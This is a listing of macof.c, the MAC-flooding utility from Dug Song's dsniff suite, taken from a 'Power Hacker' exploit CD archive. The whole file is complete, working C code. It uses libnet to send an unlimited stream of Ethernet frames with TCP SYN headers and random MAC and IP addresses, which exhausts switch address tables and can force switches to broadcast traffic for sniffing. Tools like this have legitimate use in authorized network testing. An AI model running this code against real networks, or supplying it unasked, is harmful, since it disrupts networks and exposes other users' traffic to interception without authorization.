home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / sectools / dsniff / macof.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-01-24  |  4.8 KB  |  185 lines

  1. /*
  2.   macof.c
  3.  
  4.   C port of macof-1.1 from the Perl Net::RawIP distribution.
  5.   Tests network devices by flooding local network with MAC-addresses.
  6.   
  7.   Perl macof originally written by Ian Vitek <ian.vitek@infosec.se>.
  8.   
  9.   Copyright (c) 1999 Dug Song <dugsong@monkey.org>
  10.   All rights reserved, all wrongs reversed.
  11.  
  12.   Redistribution and use in source and binary forms, with or without
  13.   modification, are permitted provided that the following conditions
  14.   are met:
  15.  
  16.   1. Redistributions of source code must retain the above copyright
  17.      notice, this list of conditions and the following disclaimer.
  18.   2. Redistributions in binary form must reproduce the above copyright
  19.      notice, this list of conditions and the following disclaimer in the
  20.      documentation and/or other materials provided with the distribution.
  21.   3. The name of author may not be used to endorse or promote products
  22.      derived from this software without specific prior written permission.
  23.  
  24.   THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
  25.   INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
  26.   AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
  27.   THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
  28.   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
  29.   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
  30.   OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
  31.   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
  32.   OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
  33.   ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  34.  
  35.   $Id: macof.c,v 1.8 2000/01/24 17:59:09 dugsong Exp $
  36. */
  37.  
  38. #include <sys/types.h>
  39. #include <sys/param.h>
  40. #include <stdio.h>
  41. #include <string.h>
  42. #include <libnet.h>
  43. #include <pcap.h>
  44.  
  45. #include "version.h"
  46.  
  47. extern char *ether_ntoa(struct ether_addr *);
  48. extern struct ether_addr *ether_aton(char *);
  49.  
  50. int    Verbose = 0;
  51. u_long    Src = 0;
  52. u_long    Dst = 0;
  53. u_char *Tha = NULL;
  54. u_short    Dport = 0;
  55. u_short Sport = 0;
  56. char   *Intf = NULL;
  57. int    Repeat = -1;
  58.  
  59. void
  60. usage(void)
  61. {
  62.   fprintf(stderr, "Usage: macof [-v] [-s src] [-d dst] [-e tha] "
  63.       "[-x sport] [-y dport] [-i interface] [-n times]\n");
  64.   exit(1);
  65. }
  66.  
  67. void
  68. gen_mac(u_char *mac)
  69. {
  70.   *((u_long *)mac) = libnet_get_prand(PRu32);
  71.   *((u_short *)(mac + 4)) = libnet_get_prand(PRu16);
  72. }
  73.  
  74. int
  75. main(int argc, char *argv[])
  76. {
  77.   int c, i;
  78.   struct libnet_link_int *llif;
  79.   char ebuf[PCAP_ERRBUF_SIZE];
  80.   u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];
  81.   u_long src, dst;
  82.   u_short sport, dport;
  83.   u_char pkt[ETH_H + IP_H + TCP_H];
  84.   
  85.   while ((c = getopt(argc, argv, "vs:d:e:x:y:i:n:h?V")) != -1) {
  86.     switch (c) {
  87.     case 'v':
  88.       Verbose = 1;
  89.       break;
  90.     case 's':
  91.       Src = libnet_name_resolve(optarg, 0);
  92.       break;
  93.     case 'd':
  94.       Dst = libnet_name_resolve(optarg, 0);
  95.       break;
  96.     case 'e':
  97.       Tha = (u_char *)ether_aton(optarg);
  98.       break;
  99.     case 'x':
  100.       Sport = atoi(optarg);
  101.       break;
  102.     case 'y':
  103.       Dport = atoi(optarg);
  104.       break;
  105.     case 'i':
  106.       Intf = optarg;
  107.       break;
  108.     case 'n':
  109.       Repeat = atoi(optarg);
  110.       break;
  111.     case 'V':
  112.       fprintf(stderr, "Version: %s\n", VERSION);
  113.       usage();
  114.       break;
  115.     default:
  116.       usage();
  117.       break;
  118.     }
  119.   }
  120.   argc -= optind;
  121.   argv += optind;
  122.  
  123.   if (argc != 0)
  124.     usage();
  125.  
  126.   if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL) {
  127.     fprintf(stderr, "%s\n", ebuf);
  128.     exit(1);
  129.   }
  130.   if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0) {
  131.     fprintf(stderr, "%s\n", ebuf);
  132.     exit(1);
  133.   }
  134.   libnet_seed_prand();
  135.   
  136.   for (i = 0; i != Repeat; i++) {
  137.     gen_mac(sha);
  138.     if (Verbose)
  139.       printf("%s", ether_ntoa((struct ether_addr *)sha));
  140.     
  141.     if (Tha != NULL) {
  142.       memcpy(tha, Tha, sizeof(tha));
  143.       if (Verbose)
  144.     printf("\n");
  145.     }
  146.     else {
  147.       gen_mac(tha);
  148.       if (Verbose)
  149.     printf("\t%s\n", ether_ntoa((struct ether_addr *)tha));
  150.     }
  151.     
  152.     if (Src != 0) src = Src;
  153.     else src = libnet_get_prand(PRu32);
  154.  
  155.     if (Dst != 0) dst = Dst;
  156.     else dst = libnet_get_prand(PRu32);
  157.  
  158.     if (Sport != 0) sport = Sport;
  159.     else sport = libnet_get_prand(PRu16);
  160.  
  161.     if (Dport != 0) dport = Dport;
  162.     else dport = libnet_get_prand(PRu16);
  163.  
  164.     libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);
  165.  
  166.     libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64, IPPROTO_TCP,
  167.             src, dst, NULL, 0, pkt + ETH_H);
  168.  
  169.     libnet_build_tcp(sport, dport, libnet_get_prand(PRu32),
  170.              libnet_get_prand(PRu32), TH_SYN, 1024, 0, NULL, 0,
  171.              pkt + ETH_H + IP_H);
  172.  
  173.     libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);
  174.     libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);
  175.  
  176.     if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) != sizeof(pkt)) {
  177.       perror("write");
  178.       exit(1);
  179.     }
  180.   }
  181.   exit(0);
  182. }
  183.  
  184. /* 5000 */
  185.